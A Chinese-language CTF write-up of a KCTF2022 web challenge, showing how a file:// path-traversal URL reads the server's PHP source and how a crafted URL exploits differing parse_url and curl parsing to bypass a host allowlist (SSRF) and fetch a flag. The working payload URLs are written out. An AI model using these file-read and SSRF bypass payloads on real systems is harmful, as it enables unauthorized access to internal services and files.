Back

KCTF2022春 4 飞蛾扑火

php的 parse_url 和 curl

source:http://121.36.145.157:8044/

进去之后F12

<html>
<head>
<meta charset="utf-8">
<title>欢迎挑战 Design by 香草</title>
</head>
<body>
<!--phpinfo.php-->
<img src="url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png">
</body>
</html>

提示了phpinfo,http://121.36.145.157:8044/phpinfo.php直接进去了,查到路径: /var/www/html;协议

Protocols dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtmp, rtsp, scp, sftp, smb, smbs, smtp, smtps, telnet, tftp

通过file协议查看源代码;

http://121.36.145.157:8044/url.php?url=file://127.0.0.1/../../../../../../var/www/html/url.php

<?php
function curl_request($url, $data=null, $method='get', $header = array("content-type: application/json"), $https=true, $timeout = 5){
    $method = strtoupper($method);
    $ch = curl_init();//初始化
    curl_setopt($ch, CURLOPT_URL, $url);//访问的URL
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//只获取页面内容,但不输出
    if($https){
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//https请求 不验证证书
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//https请求 不验证HOST
    }
    if ($method != "GET") {
        if($method == 'POST'){
            curl_setopt($ch, CURLOPT_POST, true);//请求方式为post请求
        }
        if ($method == 'PUT' || strtoupper($method) == 'DELETE') {
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); //设置请求方式
        }
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//请求数据
    }
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //模拟的header头
    //curl_setopt($ch, CURLOPT_HEADER, false);//设置不需要头信息
    $result = curl_exec($ch);//执行请求
    curl_close($ch);//关闭curl,释放资源
    return $result;
}

$url=$_GET["url"];
$uu=parse_url($url);
$host=isset($uu["host"])?$uu["host"]:"";
$scheme=isset($uu["scheme"])?$uu["scheme"]:"";
if(empty($host)){
	die("host is null");
}
if(empty($scheme)){
	die("scheme is null");
}

//https://ctf.pediy.com/upload/team/762/team236762.png?
if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
  echo curl_request($url,'',"get",[],true,5);
     
}else{
die("host not allow");
}


?>

自定义了curl_request函数,但重点在parse_url上

自己试l 一下:

<?php
#http://121.36.145.157:8044/url.php?url=123.57.254.42://localhost/../flag.php 先取出url
$url="123.57.254.42://localhost/../flag.php";
$uu=parse_url($url);
echo $uu["host"];

输出是localhost

然后用了浏览器试了试,当我们访问123.57.254.42://localhost/../flag.php,相当于访问123.57.254.42//flag.php,但是这个url被parse_url解析时,host会被定位为localhost,成功绕过。

payload:

http://121.36.145.157:8044/url.php?url=123.57.254.42://localhost/../flag.php

flag{xxx_999()xx*@eeEEE}

参考了下https://bbs.pediy.com/thread-272848.htm

考察为基础的SSRF以及 php parse_url 和 curl 对 url 的解析规则不同。

127.0.0.1://www.baidu.com
对于这种特殊的协议格式,就比较有意思
parse_url 识别的 host 为 www.baidu.com 但是 curl 请求会认为是 127.0.0.1,这就
可能导致问题,比如利用 parse_url 验证 host 是否为 127.0.0.1 这种内网 IP,然
后 用 curl 发 起 请 求 , 就 可 能 等 导 致 ssrf 攻 击 。 比 如 :
127.0.0.1://www.baidu.com/../index.php
这里得到的 host 是 www.baidu.com,但是 curl 实际访问的确是 127.0.0.1

666还有个很不错的思路,直接去搜出题人,发现会有浅谈 URL 协议 这篇文章,那答案八九不离十在里面。

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy
© Licensed Under CC BY-NC-SA 4.0